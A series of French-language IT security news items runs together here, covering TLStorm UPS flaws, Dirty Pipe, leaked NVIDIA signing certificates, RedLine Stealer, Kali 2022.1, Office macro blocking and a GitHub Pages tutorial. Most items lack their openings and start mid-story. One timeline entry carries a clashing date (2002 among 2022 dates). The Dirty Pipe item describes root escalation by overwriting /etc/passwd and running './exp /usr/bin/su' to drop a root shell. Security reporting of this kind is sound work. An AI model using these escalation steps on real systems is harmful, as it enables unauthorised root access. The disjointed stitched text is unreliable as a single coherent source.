Les failles affectent les systèmes APC Smart-UPS qui sont populaires dans une variété de secteurs d'activité, y compris le gouvernement, la santé, l'industrie, l'informatique et la vente au détail.

Les onduleurs agissent comme des solutions d'alimentation de secours d'urgence et sont présents dans des environnements critiques tels que les centres de données, les installations industrielles, les hôpitaux.

Risque d'impact physique

Les chercheurs d'Armis, une société fournissant des solutions de sécurité pour les appareils connectés dans les entreprises, ont découvert les trois problèmes de la famille de produits SmartConnect et Smart-UPS d'APC.

Deux des vulnérabilités, CVE-2022-22805 et CVE-2022-22806 se trouvent dans l'implémentation du protocole TLS (Transport Layer Security) qui connecte les appareils Smart-UPS avec la fonction « SmartConnect » au cloud de gestion de Schneider Electric.

Le troisième, identifié comme CVE-2022-0715, concerne le micrologiciel de "presque tous les appareils APC Smart-UPS", qui n'est pas signé cryptographiquement et son authenticité ne peut pas être vérifiée lorsqu'il est installé sur le système.

Bien que le micrologiciel soit crypté (symétrique), il lui manque une signature cryptographique, ce qui permet aux pirates d'en créer une version malveillante et de la fournir sous forme de mise à jour aux périphériques UPS cibles pour obtenir l'exécution de code à distance (RCE).

Les chercheurs d'Armis ont pu exploiter la faille et créer une version malveillante du firmware APC qui a été acceptée par les appareils Smart-UPS comme une mise à jour officielle, un processus qui se déroule différemment selon la cible :

• Les derniers appareils Smart-UPS dotés de la fonctionnalité de connexion au cloud SmartConnect peuvent être mis à niveau à partir de la console de gestion du cloud via Internet.
  
• Les anciens appareils Smart-UPS qui utilisent la carte de gestion réseau (NMC) peuvent être mis à jour sur le réseau local.
  
• La plupart des appareils Smart-UPS peuvent également être mis à niveau à l'aide d'une clé USB.

Considérant que les onduleurs APC vulnérables sont utilisés dans environ huit entreprises sur 10 - selon les données d'Armis - et les environnements sensibles qu'ils desservent (installations médicales, réseau ICS, salles de serveurs), les implications peuvent avoir des conséquences physiques importantes.

Les vulnérabilités liées à TLS découvertes par Armis semblent être plus graves car elles peuvent être exploitées par un attaquant non authentifié sans interaction de l'utilisateur, dans ce que l'on appelle une attaque "zero-click".

Les deux vulnérabilités sont causées par une mauvaise gestion des erreurs TLS dans la connexion TLS entre le Smart-UPS et le serveur Schneider Electric, et elles conduisent à l'exécution de code à distance lorsqu'elles sont correctement exploitées.

L'un des problèmes de sécurité est un contournement d'authentification causé par une "confusion d'état dans la poignée de main TLS", l'autre est un bogue de corruption de la mémoire.

Recommandations d'atténuation

Le rapport des chercheurs explique les aspects techniques des trois vulnérabilités TLStorm et fournit un ensemble de recommandations pour sécuriser les onduleurs :

1. Installez les correctifs disponibles sur le site Web de Schneider Electric.
   
   
2. Si vous utilisez la NMC, changez le mot de passe NMC par défaut (« apc ») et installez un certificat SSL signé publiquement afin qu'un attaquant sur votre réseau ne puisse pas intercepter le nouveau mot de passe. Pour limiter davantage la surface d'attaque de votre NMC, reportez-vous au Manuel de sécurité de Schneider Electric pour NMC 2 et NMC 3.
   
   
3. Déployez des listes de contrôle d'accès (ACL) dans lesquelles les onduleurs ne sont autorisés à communiquer qu'avec un petit ensemble d'équipements de gestion et le Cloud Schneider Electric via des communications cryptées.

Armis a également publié un livre blanc technique avec tous les détails de la recherche.

La vulnérabilité affecte le noyau Linux 5.8 et les versions ultérieures.

La vulnérabilité CVE-2022-0847 permet d'écraser des données dans des fichiers en lecture seule arbitraires, ce qui pourrait entraîner une élévation des privilèges car des processus non privilégiés peuvent injecter du code dans des processus racine.

Kellerman a expliqué que la faille est similaire à CVE-2016-5195, alias "Dirty Cow", et est plus dangereuse car plus facile à exploiter.

Dans un article de blog, le chercheur a expliqué qu'il avait découvert la faille en enquêtant sur des fichiers journaux d'accès corrompus pour l'un de ses clients.

Kellerman a publié des détails techniques sur la faille Dirty Pipe ainsi qu'un exploit de preuve de concept (PoC) qui permet aux utilisateurs locaux d'écraser tout contenu de fichier dans le cache de la page, même si le fichier n'est pas autorisé à être écrit, immuable ou sur un montage en lecture seule.

BleepingComputer a rapporté un tweet publié par le chercheur en sécurité Phith0n qui expliquait qu'il est possible d'utiliser l'exploit pour modifier le fichier /etc/passwd afin de définir l'utilisateur root sans mot de passe. En utilisant cette astuce, un utilisateur non privilégié pourrait exécuter la commande su root pour accéder au compte root.

Le chercheur Phith0n a également publié une version mise à jour de l'exploit qui permet d'obtenir des privilèges root en écrasant un programme SUID comme ./exp /usr/bin/su pour déposer un shell root sur /tmp/sh puis en exécutant le script.

Vous trouverez ci-dessous la chronologie de cette vulnérabilité :

• 29/04/2021 : premier ticket d'assistance concernant la corruption de fichiers
• 19/02/2002 : problème de corruption de fichier identifié comme bogue du noyau Linux, qui s'est avéré être une vulnérabilité exploitable
• 20/02/2022 : rapport de bogue, exploit et correctif envoyés à l'équipe de sécurité du noyau Linux
• 21/02/2022 : bug reproduit sur Google Pixel 6 ; rapport de bogue envoyé à l'équipe de sécurité Android
• 21/02/2022 : patch envoyé à LKML (sans détails de vulnérabilité) comme suggéré par Linus Torvalds, Willy Tarreau et Al Viro
• 23/02/2022 : versions stables de Linux avec mon correctif de bogue (5.16.11, 5.15.25, 5.10.102)
• 24/02/2022 : Google fusionne le correctif de bogue dans le noyau Android
• 28/02/2022 : a notifié la liste de diffusion linux-distros
• 07/03/2022 : divulgation publique

Les serveurs exécutant des versions de noyau obsolètes sont exposés à des attaques exploitant cette faille.

Récemment, NVIDIA a confirmé avoir été victime d'une cyberattaque qui a permis à des acteurs de la menace de voler des informations d'identification d'employés et des données exclusives.

Le groupe d'extorsion, connu sous le nom de "Lapsus$", déclare avoir volé 1 To de données au cours de l'attaque et avoir commencé à divulguer ces données en ligne après que NVIDIA ait refusé de négocier avec eux.

La fuite comprend deux certificats de signature de code volés utilisés par les développeurs de NVIDIA pour signer leurs pilotes et leurs exécutables.

Un certificat de signature de code permet aux développeurs de signer numériquement les exécutables et les pilotes afin que Windows et les utilisateurs finaux puissent vérifier le propriétaire du fichier et s'assurer qu'il n'a pas été altéré par un tiers.

Pour renforcer la sécurité de Windows, Microsoft exige également que les pilotes en mode noyau soient signés avant que le système d'exploitation ne les charge.

Des certificats NVIDIA utilisés pour signer des logiciels malveillants

Après que Lapsus$ ait divulgué les certificats de signature de code de NVIDIA, les chercheurs en sécurité ont rapidement découvert que les certificats étaient utilisés pour signer des logiciels malveillants et d'autres outils utilisés par les cybercriminels.

Selon les échantillons téléchargés sur le service d'analyse des logiciels malveillants VirusTotal, les certificats volés ont été utilisés pour signer divers logiciels malveillants et outils de piratage, tels que des balises Cobalt Strike, Mimikatz, des portes dérobées et des chevaux de Troie d'accès à distance.

Par exemple, un cybercriminel a utilisé le certificat pour signer un cheval de Troie d'accès à distance Quasar [VirusTotal], tandis qu'un autre a utilisé le certificat pour signer un pilote Windows [VirusTotal].

Les chercheurs en sécurité Kevin Beaumont et Will Dormann ont indiqué que les certificats volés utilisent les numéros de série suivants :

43BB437D609866286DD839E1D00309F5
14781bc862e8dc503a559346f5dcc518

Certains de ces fichiers ont probablement été téléchargés sur VirusTotal par des chercheurs en sécurité, mais d'autres semblent être utilisés par des acteurs de la menace pour des campagnes de malware [1, 2].

Bien que les deux certificats NVIDIA volés aient expiré, Windows autorise toujours le chargement dans le système d'exploitation d'un pilote signé avec ces certificats.

Par conséquent, en utilisant ces certificats volés, les acteurs de la menace ont l'avantage de faire passer leurs programmes pour des programmes NVIDIA légitimes et de permettre aux pilotes malveillants d'être chargés par Windows.

Pour empêcher les pilotes vulnérables connus d'être chargés dans Windows, David Weston, directeur de la sécurité des entreprises et des systèmes d'exploitation chez Microsoft, a indiqué sur Twitter que les administrateurs peuvent configurer les politiques de contrôle des applications de Windows Defender pour contrôler quels pilotes NVIDIA peuvent être chargés.

Cependant, l'utilisation de WDAC n'est pas une tâche facile, surtout pour les utilisateurs de Windows non informaticiens.

En raison du risque d'abus, on espère que les certificats volés seront ajoutés à la liste de révocation des certificats de Microsoft à l'avenir pour empêcher les pilotes malveillants de se charger dans Windows.

Cependant, cela entraînerait le blocage des pilotes NVIDIA légitimes, ce qui ne devrait pas se produire de sitôt.

Defender for Cloud (anciennement Azure Security Center et Azure Defender) est une solution de sécurité qui surveille les services cloud pour détecter les menaces, formule des recommandations pour renforcer la sécurité, et détecte et avertit des vulnérabilités dans les environnements multi-cloud et hybrides protégés.

La prise en charge de GCP par Defender for Cloud est fournie avec des suggestions prêtes à l'emploi qui simplifient la configuration des environnements GCP conformément aux normes de sécurité telles que les références du Center for Internet Security (CIS), la protection des charges de travail critiques exécutées sur GCP, etc.

En novembre, Microsoft a également annoncé la prise en charge native multi-cloud CSPM d'AWS lors de la conférence Ignite 2021, avec une intégration facile en connectant le compte principal AWS.

Cela a étendu les capacités de protection des conteneurs Microsoft Defender for Cloud pour prendre en charge les clusters Amazon EKS Kubernetes et les capacités Defender for Server vers AWS EC2.

Après l'intégration d'AWS et de GCP, les équipes de sécurité peuvent désormais obtenir un aperçu de l'état de sécurité de l'environnement multi-cloud de leur organisation, Azure, Amazon Web Services (AWS) et Google Cloud Platform (GCP), à partir d'un seul endroit, sur le Defender pour la page d'inventaire des ressources du portail Cloud.

Vous pouvez trouver plus d'informations sur la façon de connecter vos comptes GCP sur le site Web d'assistance de Microsoft. Les capacités d'intégration automatique de Defender for Cloud connecteront toutes les instances de calcul existantes et nouvelles dans votre environnement.

La fonctionnalité fonctionne avec les machines virtuelles Azure nouvellement déployées exécutant Windows Server 2022 Datacenter - "Azure Edition Core Gen2" et est disponible dans toutes les régions Azure du monde.

Quels sont les avantages ?

Les avantages de l'utilisation du hotpatching pour maintenir vos machines virtuelles Azure Windows Server 2022 à jour et sécurisées incluent :

• Disponibilité accrue avec moins de redémarrages
• Déploiement plus rapide des mises à jour car les packages sont plus petits, s'installent plus rapidement et ont une orchestration des correctifs plus facile avec Azure Update Manager
• Meilleure protection, car les packages Hotpatch s'installent plus rapidement sans qu'il soit nécessaire de planifier un redémarrage, ce qui réduit la "fenêtre de vulnérabilité" après la publication d'une mise à jour de sécurité Windows

Une fonctionnalité actuellement réservée à Microsoft Azure

Une évolution, mais encore limitée

Il est important de mentionner que les serveurs devront toujours être redémarrés après l'installation de mises à jour livrées par le canal de mise à jour Windows normal (non Hotpatch) qui ne sont pas incluses dans le programme Hotpatch.

Les exemples de correctifs qui ne peuvent pas être installés sans redémarrage comprennent les mises à jour non Windows (telles que les correctifs .NET) et les mises à jour non liées à la sécurité publiées pour Windows.

Des redémarrages seront également nécessaires périodiquement après l'installation d'une nouvelle ligne de base pour que les VM restent synchronisées avec les correctifs non sécuritaires inclus dans la dernière mise à jour cumulative de Windows.

Vous trouverez plus de détails sur la façon dont vous pouvez activer le correctif à chaud pour vos VM Windows Server Azure dans cet article de blog ou sur cette page Microsoft Docs.

Ces nouvelles fonctionnalités expérimentales d'analyse statique sont désormais disponibles pour les référentiels JavaScript et TypeScript GitHub en version bêta publique.

Quelle cible ?

Tiferet Gazi et Alona Hlobina ont déclaré :

• "Grâce aux nouvelles capacités d'analyse, l'analyse de code peut générer encore plus d'alertes pour quatre modèles de vulnérabilité courants : cross-site scripting (XSS), path injection, injection NoSQL, et injection SQL".

• "Ensemble, ces quatre types de vulnérabilités représentent de nombreuses vulnérabilités récentes (CVE) dans l'écosystème JavaScript/TypeScript, et l'amélioration de la capacité de l'analyse de code à détecter ces vulnérabilités au début du processus de développement est essentielle pour aider les développeurs à écrire un code plus sécurisé."

Comment en profiter ?

Les vulnérabilités de sécurité découvertes par les nouvelles fonctionnalités expérimentales d'analyse de code apparaîtront sous forme d'alertes dans l'onglet "Sécurité" des référentiels inscrits.

Ces nouvelles alertes sont marquées à l'aide d'un label "Experimental" et seront également disponibles via l'onglet "Pull requests".

Le moteur d'analyse de code CodeQL, qui alimente l'analyse de code de GitHub, a été ajouté aux capacités de la plate-forme après que GitHub a acquis la plate-forme d'analyse de code Semmle en septembre 2019.

GitHub a publié la première version bêta d'analyse de code sur GitHub Satellite en mai 2020 et a annoncé sa disponibilité générale quatre mois plus tard, en septembre 2020.

Au cours des tests bêta, la fonction d'analyse de code a été utilisée pour analyser plus de 12 000 référentiels 1,4 million de fois et a détecté plus de 20 000 problèmes de sécurité, notamment des failles d'exécution de code à distance (RCE), d'injection SQL et cross-site scripting (XSS) .

L'analyse du code GitHub est gratuite pour les référentiels publics et est disponible en tant que fonctionnalité de sécurité avancée GitHub pour les référentiels privés GitHub Enterprise.

Pour configurer l'analyse de code pour votre code JavaScript/TypeScript, vous pouvez suivre ces instructions. Les nouvelles fonctionnalités sont disponibles pour les suites d'analyse de sécurité étendue et de sécurité et qualité de l'analyse de code.

Une fonctionnalité encore expérimentale

Gazit et Hlobina ont ajouté :

• "Il est important de noter que pendant que nous continuons à améliorer et à tester nos modèles d'apprentissage automatique, cette nouvelle analyse expérimentale peut avoir un taux de faux positifs plus élevé par rapport aux résultats de notre analyse CodeQL standard".

• "Comme avec la plupart des modèles d'apprentissage automatique, les résultats s'amélioreront avec le temps."

Mise à jour vers la version 2022.1, l'OS Kali Linux a été : visuellement actualisé et avec une facilité d'utilisation améliorée pour les utilisateurs malvoyants, il est également livré avec une nouvelle image "kali-linux-everything", une compatibilité plus large pour le client SSH de Kali et de nouveaux outils.

Modifications et améliorations visuelles et audio

Kali Linux 2022.1 inclut :

• Nouveaux fonds d'écran pour les écrans de bureau, de connexion et de démarrage
• Un thème d'installation actualisé et une page de destination du navigateur par défaut
• Amélioration des fonctions, du thème et de la disposition du menu de démarrage présent dans les images ISO
• L'invite de droite a été supprimée du shell ZSH par défaut et le crâne dans l'invite racine a été remplacé par un symbole K stylisé (mais les utilisateurs peuvent revenir au crâne s'ils le souhaitent)

Par ailleurs, la fonction de synthèse vocale destinée à aider les utilisateurs aveugles et malvoyants de Kali ne fonctionnait pas, elle a été corrigée.

Une nouvelle "saveur" et une plus grande compatibilité pour le client SSH de Kali

La nouvelle image "kali-linux-everything" offre aux utilisateurs qui ont besoin que tous les outils de Kali soient préinstallés en une image autonome hors ligne complète (ISO). En raison de sa taille, cependant, elle ne sera initialement proposée que pour le téléchargement via torrent.

Le client SSH de Kali peut désormais être réglé sur le mode de compatibilité étendue, afin de faciliter la connexion et la découverte d'anciens serveurs SSH vulnérables.

"En mode de compatibilité étendue, les anciens algorithmes d'échange de clés (tels que diffie-hellman-*-sha1) et les anciens chiffrements (tels que CBC) sont activés. Par conséquent, les outils utilisés à l'intérieur de Kali sont capables de communiquer en utilisant ces méthodes obsolètes. Ceci est fait pour aider à augmenter la capacité de Kali à parler à des serveurs SSH plus anciens et obsolètes qui utilisent toujours ces anciens protocoles. Les anciens services utilisant ces protocoles peuvent être en fin de vie, ce qui augmente les chances de découvrir des vulnérabilités ou d'autres problèmes", expliquent les développeurs.

Améliorations de VMware i3

Pour les utilisateurs qui utilisent Kali dans une VM invitée avec l'environnement de bureau i3 (kali-desktop-i3), les fonctionnalités hôte-invité de VMware (par exemple glisser-déposer, copier/coller) n'étaient pas activées par défaut, cela devait être fait manuellement. Ceci est maintenant corrigé et vous ne devriez rien avoir à faire, cela devrait fonctionner immédiatement. Cela a été activé avec le package i3-wm 4.20.1-1.

Nouveaux outils dans Kali Linux 2022.1

• dnsx - Une boîte à outils DNS polyvalente qui permet aux utilisateurs d'exécuter plusieurs requêtes DNS.
• email2phonenumber - Un outil OSINT pour découvrir le numéro de téléphone d'une cible si vous n'avez que son adresse e-mail
• naabu - Un scanner de port simple et fiable
• nuclei - Analyse ciblée basée sur des modèles
• PoshC2 - Cadre de travail C2 basé sur le proxy avec post-exploitation et mouvement latéral
• proxify - Un couteau suisse de proxy pour la capture, la manipulation et la relecture du trafic HTTP/HTTPS

Télécharger Kali Linux 2022.1

Kali Linux 2022.1 est prêt pour le téléchargement ou une mise à jour immédiat.

Pour plus de détails sur les dernières modifications, consultez le billet de blog d'Offensive Security.

Qu'est-ce que les pages GitHub ?

GitHub est un service d'hébergement de code qui fournit un contrôle de version via git. Bien qu'il soit généralement utilisé par les développeurs, un cas d'utilisation courant pour eux est l'exécution de simples wikis, CV ou sites de documentation qui ne voient pas des tonnes de trafic quotidien, et ont juste besoin d'un endroit pour mettre en place un site Web gratuitement.

C'est pour cela qu'a été créé GitHub Pages, qui vous permet d'héberger gratuitement des fichiers HTML et d'autres ressources. Cela n'est pas très différent de l'hébergement de fichiers normal de GitHub : vous pouvez héberger des fichiers dans vos dépôts entièrement gratuitement, et héberger un site statique revient à héberger des fichiers.

Vous pouvez avoir des pages pour votre nom d'utilisateur, ou des pages pour chaque dépôt. Par défaut, GitHub vous attribue une URL de sous-domaine comme username.github.io ou username.github.io/repository. Cette URL peut être modifiée en n'importe quelle URL personnalisée.

Que sont les sites web statiques ?

Il est important de noter que les pages GitHub ne sont destinées qu'aux sites Web statiques. Cela ne signifie pas nécessairement que votre site ne peut pas être interactif, mais simplement qu'il est hébergé directement à partir des fichiers HTML, JS et CSS.

La principale restriction des sites Web statiques est qu'ils ne peuvent pas compter sur un serveur pour modifier le contenu à chaque requête, comme c'est le cas avec un langage comme PHP. Par exemple, si vous voulez que les utilisateurs s'inscrivent et consultent un profil, ou si vous voulez héberger WordPress (qui se connecte à un serveur de base de données), vous devrez l'héberger ailleurs.

Cependant, si vous utilisez des frameworks JavaScript côté client comme React, vous pouvez en fait héberger des applications Web entières à partir des pages Github ou de tout autre fournisseur d'hébergement de sites Web statiques. En effet, tout le contenu est généré sur l'appareil du client, et la seule chose que vous servez est un fichier bundle.js contenant tout le code.

Restrictions des pages GitHub - Utilisation non commerciale

Bien sûr, cela s'accompagne de quelques restrictions. Essentiellement, vous n'êtes pas censé utiliser les pages GitHub à des fins principalement commerciales. Plus précisément, il est interdit de l'utiliser en tant que "service d'hébergement Web gratuit pour gérer votre entreprise en ligne, votre site de commerce électronique ou tout autre site Web visant principalement à faciliter les transactions commerciales".

Donc, si vous prévoyez d'exploiter votre entreprise à partir des pages GitHub, vous devrez probablement envisager d'autres solutions. Deux méthodes d'"hébergement gratuit" très similaires consistent à utiliser les buckets AWS Simple Storage Service pour héberger des sites Web statiques, ou à utiliser l'hébergement statique Firebase de Google. Ces deux méthodes fonctionnent bien pour les déploiements de sites statiques amateurs et professionnels, et proposent des niveaux gratuits qui peuvent vous éviter de payer environ 8€ par mois pour héberger votre propre serveur.

Les pages GitHub sont également soumises à des limites de taille et de bande passante, bien qu'elles soient assez raisonnables. Votre site ne peut pas dépasser 1 Go (vous aurez probablement du mal à servir un site de cette taille de toute façon) et si vous dépassez 100 Go de bande passante par mois, GitHub peut ne pas servir votre site. À titre de référence, cette quantité de données vous coûterait environ 8€ par mois sur Amazon Web Services.

Mise en place d'une page

La configuration de GitHub Pages est assez simple. Si vous êtes familier avec GitHub, cela devrait être encore plus facile.

Fondamentalement, vous avez deux options pour les dépôts : les pages utilisateur ou les pages de projet. Si vous utilisez un domaine personnalisé, cela ne devrait pas avoir beaucoup d'importance, mais si vous voulez une belle URL, vous voudrez utiliser une page utilisateur, qui vous donnera une URL au format username.github.io.
Si vous utilisez une page de projet, vous pouvez avoir plusieurs pages configurées, mais chacune sera au format username.github.io/repository.

Dans les deux cas, vous devrez créer un nouveau dépôt. Si vous créez une page utilisateur, définissez-la à votre nom d'utilisateur plus .github.io. Assurez-vous qu'il est également public.
Par exemple :

in-sys.github.io

Ensuite, vous aurez besoin d'un client Git pour vous connecter à GitHub et pousser votre site web. Vous pouvez utiliser un terminal, ou un client GUI comme GitHub Desktop. Utilisez l'URL qui vous a été donnée lors de la configuration rapide :

Ou, si vous utilisez l'application GitHub Desktop, vous pouvez simplement le rechercher par son nom :

Ensuite, vous devrez ajouter votre contenu. Si vous avez un modèle existant que vous souhaitez utiliser, copiez tous les fichiers (HTML, CSS, fichiers JS, images) dans ce répertoire, qui est essentiellement le "webroot" à partir duquel tout sera hébergé. La chose la plus importante est index.html, qui est la page principale de votre site.

Une fois que tout fonctionne localement, vous devez valider les modifications et les publier sur GitHub.

Vous verrez bientôt les nouveaux fichiers dans votre référentiel, mais vous devrez activer les pages GitHub pour qu'elles fonctionnent pleinement. Sur la page du dépôt, cliquez sur "Paramètres" et faites défiler la page jusqu'à "Pages". Sélectionnez la branche principale à partir de laquelle vous allez servir votre site Web, puis cliquez sur "Enregistrer".

La mise à jour peut prendre quelques minutes et ne s'effectuera que 10 fois par heure, alors ne faites pas de changements trop rapides.

Vous devez également activer l'option "Enforce HTTPS" dans les paramètres des pages GitHub.

Ajout d'un domaine personnalisé

L'ajout d'un domaine personnalisé est très simple. Vous devez d'abord en acheter un, ce que vous pouvez faire auprès de nombreux bureaux d'enregistrement différents.

Une fois enregistré, vous devrez faire pointer votre domaine vers votre page GitHub. Cependant, vous ne pouvez pas simplement coller l'URL ici ; vous devrez créer un enregistrement CNAME qui pointe vers username.github.io. Si vous prévoyez d'utiliser www, définissez la valeur Host sur www. Si vous souhaitez utiliser le domaine de base seul, définissez la valeur Host sur @.

Une fois l'enregistrement DNS effectué, il faut ajouter un domaine personnalisé dans la configuration GitHub Pages:

Après avoir attendu quelques minutes pour que les enregistrements DNS se synchronisent sur Internet, vous devriez pouvoir voir votre site Pages GitHub nouvellement créé à votre URL personnalisée, et le menu des paramètres devrait l'afficher comme connecté.

Et donc l'accès à votre site web est opérationnel, vous pouvez voir le résultat de l'exemple ci-dessous :

• Sans domaine personnalisé : in-sys.github.io (dans le cas présent, vous redirigera vers le domaine personnalisé)
• Avec domaine personnalisé : github.insys.fr

Le timing des attaques coïncide avec le moment où Microsoft a annoncé la large phase de déploiement de Windows 11. Les attaquants étaient donc bien préparés à ce mouvement et ont attendu le bon moment pour maximiser le succès de leur opération.

RedLine Stealer est actuellement un malware s'attaquant aux mots de passe, cookies de navigateur, cartes de crédit, identifiants VPN, identifiants FTP, portefeuilles de crypto-monnaies et bien plus...
Il est le plus largement déployé, de sorte que ses infections peuvent avoir des conséquences désastreuses pour les victimes.

La campagne d'attaques

Selon les chercheurs de HP, qui ont repéré cette campagne, les acteurs ont utilisé le domaine apparemment légitime "windows-upgraded.com" pour la partie distribution du malware de leur campagne.

Le site apparaît comme un site Microsoft authentique et, si le visiteur clique sur le bouton "Download Now", il reçoit une archive .ZIP de 1,5 Mo nommée "Windows11InstallationAssistant.zip", récupérée directement depuis un CDN Discord.

La décompression du fichier donne lieu à un dossier de 753 Mo, présentant un taux de compression impressionnant de 99,8 %, obtenu grâce à la présence d'un remplissage dans l'exécutable.

Lorsque la victime lance l'exécutable dans le dossier, un processus PowerShell avec un argument codé démarre.

Ensuite, un processus cmd.exe est lancé avec un délai d'attente de 21 secondes, et après expiration de ce délai, un fichier .jpg est récupéré sur un serveur Web distant.

Ce fichier contient une DLL dont le contenu est disposé de manière inversée, probablement pour échapper à la détection et à l'analyse.

Enfin, le processus initial charge la DLL et remplace le contexte du thread actuel par celle-ci. Cette DLL est une charge utile RedLine Stealer qui se connecte au serveur de commande et de contrôle via TCP pour obtenir des instructions sur les tâches malveillantes qu'il doit exécuter ensuite sur le système nouvellement compromis.

Outlook

Bien que le site de distribution soit maintenant hors service, rien n'empêche les acteurs de créer un nouveau domaine et de relancer leur campagne. En fait, il est très probable que cela se produise déjà dans la nature.

Windows 11 est une mise à niveau majeure que de nombreux utilisateurs de Windows 10 ne peuvent obtenir auprès des canaux de distribution officiels en raison d'incompatibilités matérielles, ce que les opérateurs de logiciels malveillants considèrent comme une excellente occasion de trouver de nouvelles victimes.

Comme BleepingComputer l'a signalé en janvier, les acteurs de la menace tirent également parti des clients de mise à jour légitimes de Windows pour exécuter un code malveillant sur les systèmes Windows compromis, de sorte que les tactiques signalées par HP ne sont guère surprenantes à ce stade.

N'oubliez pas que ces sites dangereux sont promus via des forums, des messages de médias sociaux ou des messages instantanés, alors ne vous fiez qu'aux alertes officielles du système de mise à jour de Windows et au domaine "Microsoft.com".

Source

Le plugin en question est Essential Addons for Elementor, qui fournit aux propriétaires de sites WordPress une bibliothèque de plus de 80 éléments et extensions pour aider à concevoir et personnaliser des pages et des publications.

Cela dit, la vulnérabilité n'existe que si des widgets tels que la galerie dynamique et la galerie de produits sont utilisés, qui utilisent la fonction vulnérable, entraînant l'inclusion de fichiers locaux - une technique d'attaque dans laquelle une application Web est amenée à exposer ou à exécuter des fichiers arbitraires sur le serveur Web.

La faille affecte toutes les versions de l'addon à partir de la version 5.0.4 et inférieure, et le chercheur "Wai Yan Myo Thet" est crédité d'avoir découvert la vulnérabilité.
Suite à une divulgation responsable, la faille de sécurité a finalement été colmatée dans la version 5.0.5 publiée le 28 janvier "après plusieurs correctifs insuffisants".

Le développement intervient des semaines après qu'il est apparu que des acteurs non identifiés avaient altéré des dizaines de thèmes et plugins WordPress hébergés sur le site Web d'un développeur pour injecter une porte dérobée dans le but d'infecter d'autres sites.

Il est donc recommandé d'effectuer une mise à jour d'Essential Addons for Elementor vers la dernière version (actuellement 5.0.7) au plus vite !

À partir du début du mois d'avril 2022, les utilisateurs d'Access, d'Excel, de PowerPoint, de Visio et de Word ne seront plus en mesure d'activer des macroscripts dans des documents non fiables qu'ils ont téléchargés sur Internet.

Une modification très demandée

Cette modification, réclamée depuis des années par les chercheurs en sécurité, devrait constituer un sérieux obstacle pour les cybercriminels qui produisent des logiciels malveillants, qui s'appuient sur la manipulation des utilisateurs pour permettre l'exécution d'un script macro afin d'installer des logiciels malveillants sur leurs systèmes.

Comment procèdent les cybercriminels ?

Dans ces attaques, les utilisateurs reçoivent généralement un document par courrier électronique qu'ils sont invités à télécharger à partir d'un site Internet. Lorsqu'ils ouvrent le fichier, l'attaquant laisse généralement un message demandant à l'utilisateur de permettre l'exécution du script macro.

Si les utilisateurs ayant des connaissances techniques et en cybersécurité sont en mesure de reconnaître qu'il s'agit d'un leurre pour se faire infecter par des logiciels malveillants, de nombreux utilisateurs quotidiens d'Office ignorent encore cette technique et finissent par suivre les instructions fournies, s'infectant ainsi eux-mêmes avec des logiciels malveillants.

Un problème connu depuis des années...

La gestion de ce problème a été une épine dans le pied de Microsoft car les scripts macro VBA sont souvent utilisés dans les entreprises pour automatiser certaines opérations et tâches lors de l'ouverture de certains fichiers, comme l'importation de données et la mise à jour du contenu du document à partir de sources dynamiques.

Depuis le début des années 2000, Microsoft a tenté de résoudre ce problème en affichant un léger avertissement de sécurité sous la forme d'une barre d'outils en haut du document, mais cet avertissement contenait également des contrôles permettant aux utilisateurs d'exécuter les macro-scripts.

Après le déploiement de cette modification auprès des utilisateurs finaux, cet avertissement sera remplacé par une barre d'alerte rouge informant l'utilisateur que le document contient des macros mais que celles-ci ne peuvent être activées pour des raisons de sécurité.

Comment va agir Microsoft ?

Microsoft a annoncé ses plans récemment dans un billet de blog sur son portail Tech Community. Le billet de blog contient également une description de la logique que les cinq applications Office suivront pour décider d'autoriser ou de bloquer l'exécution de scripts macro dans un document.

Microsoft a déclaré que la décision de bloquer les macros VBA par défaut ne concerne que Access, Excel, PowerPoint, Visio et Word sur Windows. Les documents contenant des macros VBA qui ont été créées et obtenues à l'intérieur du réseau de confiance d'une organisation seront toujours autorisés à s'exécuter.

Le changement sera déployé pour tous les clients de Microsoft 365 et le fabricant du système d'exploitation a déclaré qu'il prévoit également de rétrocéder le changement à d'autres versions d'Office, telles que Office LTSC, Office 2021, Office 2019, Office 2016 et Office 2013.

Une fois terminée, cette mesure aura un impact sur la distribution d'un grand nombre de souches de logiciels malveillants de base, mais aussi sur de nombreuses campagnes d'espionnage à motivation financière et politique ; toutefois, ces opérations se poursuivront très probablement en utilisant d'autres techniques.

Auparavant, Microsoft avait également bloqué l'exécution de macro-scripts Excel 4.0 (XLM) après des abus similaires de la part des cybercriminels.

Cependant, comme le prévient Avast, ce décrypteur ne peut être utilisé que pour restaurer des fichiers cryptés "dans certaines circonstances".

Sous quelles conditions ?

Les victimes qui souhaitent récupérer leurs fichiers à l'aide de cet outil de décryptage doivent également être conscientes qu'il s'agira probablement d'un processus gourmand en ressources et en temps.

"Pendant le craquage du mot de passe, tous vos cœurs de processeur disponibles dépenseront la majeure partie de leur puissance de calcul pour trouver le mot de passe de déchiffrement. Le processus de craquage peut prendre beaucoup de temps, jusqu'à des dizaines d'heures", a déclaré Avast.

"Le décrypteur enregistre périodiquement la progression et si vous l'interrompez et redémarrez le décrypteur plus tard, il vous offre une option pour reprendre le processus de craquage précédemment commencé."

Comment le décryptage fonctionne ?

Le décrypteur rançongiciel - ransomware de  TargetCompany fonctionne en déchiffrant le mot de passe après avoir comparé un fichier crypté avec sa version originale non cryptée.

Avast dit que cela ne doit être fait qu'une seule fois pour chaque appareil chiffré par le rançongiciel - ransomware TargetCompany puisque l'assistant de décryptage vous permettra d'entrer des mots de passe de cryptage précédemment piratés en sélectionnant "Je connais le mot de passe pour décrypter les fichiers".

Télécharger l'outil

Les victimes du rançongiciel - ransomware TargetCompany peuvent télécharger l'outil de décryptage à partir des serveurs d'Avast.
Choisissez une version qui correspond à votre installation Windows. La version 64 bits est nettement plus rapide et la plupart des installations Windows actuelles sont en 64 bits.:

• Si vous avez Windows 64 bits, choisissez la version 64 bits.
• Si vous avez Windows 32 bits, choisissez la version 32 bits.

Pour décrypter des partitions de disque entières en suivant les instructions affichées dans l'interface utilisateur de l'outil.

"Sur la dernière page de l'assistant, vous pouvez indiquer si vous souhaitez sauvegarder les fichiers cryptés. Ces sauvegardes peuvent être utiles en cas de problème pendant le processus de décryptage", a ajouté Avast.

"Cette option est activée par défaut, ce que nous recommandons. Après avoir cliqué sur "Décrypter", le processus de décryptage commence. Laissez le décrypteur fonctionner et attendez qu'il se termine."

Vous pouvez trouver des instructions supplémentaires sur la façon d'utiliser le décrypteur de ransomware TargetCompany d'Avast ici.

Quelques informations sur TargetCompany

TargetCompany est un ransomware découvert relativement récemment, actif depuis la mi-juin 2021.

